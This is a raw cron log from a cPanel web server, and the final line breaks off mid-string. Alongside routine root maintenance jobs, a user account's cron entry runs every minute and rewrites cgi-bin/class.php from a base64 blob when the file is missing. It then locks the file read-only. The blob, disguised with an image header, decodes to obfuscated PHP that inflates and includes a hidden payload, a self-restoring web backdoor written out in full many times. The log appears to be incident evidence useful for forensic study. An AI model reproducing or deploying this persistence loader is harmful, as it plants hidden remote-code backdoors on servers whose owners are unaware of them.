Sep 11 03:57:01 server CROND[23309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:58:01 server CROND[23676]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:58:01 server CROND[23674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:58:01 server CROND[23681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:59:01 server CROND[24056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:59:01 server CROND[24057]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:59:01 server CROND[24058]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:00:01 server CROND[24526]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 04:00:01 server CROND[24527]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 04:00:01 server CROND[24535]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 04:00:01 server CROND[24537]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 04:00:01 server CROND[24538]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:00:01 server CROND[24534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:00:01 server CROND[24541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:00:01 server CROND[24540]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 11 04:00:01 server CROND[24543]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 11 04:00:01 server CROND[24546]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 04:01:01 server CROND[25380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:01:01 server CROND[25381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:01:01 server CROND[25379]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 04:01:01 server CROND[25382]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:01:01 server run-parts(/etc/cron.hourly)[25379]: starting 0anacron
Sep 11 04:01:01 server anacron[25403]: Anacron started on 2026-09-11
Sep 11 04:01:01 server anacron[25403]: Job `cron.daily' locked by another anacron - skipping
Sep 11 04:01:01 server anacron[25403]: Normal exit (0 jobs run)
Sep 11 04:01:01 server run-parts(/etc/cron.hourly)[25405]: finished 0anacron
Sep 11 04:02:01 server CROND[25758]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:02:01 server CROND[25759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:02:01 server CROND[25760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:03:01 server CROND[26137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:03:01 server CROND[26138]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:03:01 server CROND[26140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:04:01 server CROND[26528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:04:01 server CROND[26529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:04:01 server CROND[26532]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:04:27 server run-parts(/etc/cron.daily)[26858]: finished imunify-antivirus.cron
Sep 11 04:04:27 server run-parts(/etc/cron.daily)[31481]: starting logclean
Sep 11 04:04:27 server run-parts(/etc/cron.daily)[26871]: finished logclean
Sep 11 04:04:27 server run-parts(/etc/cron.daily)[31481]: starting logrotate
Sep 11 04:04:27 server run-parts(/etc/cron.daily)[26882]: finished logrotate
Sep 11 04:04:27 server run-parts(/etc/cron.daily)[31481]: starting maldet
Sep 11 04:05:01 server CROND[27550]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 04:05:01 server CROND[27552]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 04:05:01 server CROND[27567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:05:01 server CROND[27569]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 04:05:01 server CROND[27570]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 04:05:01 server CROND[27572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:05:01 server CROND[27568]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 04:05:01 server CROND[27571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:06:01 server CROND[28401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:06:01 server CROND[28402]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:06:01 server CROND[28400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:07:01 server CROND[28767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:07:01 server CROND[28768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:07:01 server CROND[28769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:08:01 server CROND[29137]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:08:01 server CROND[29138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0Ol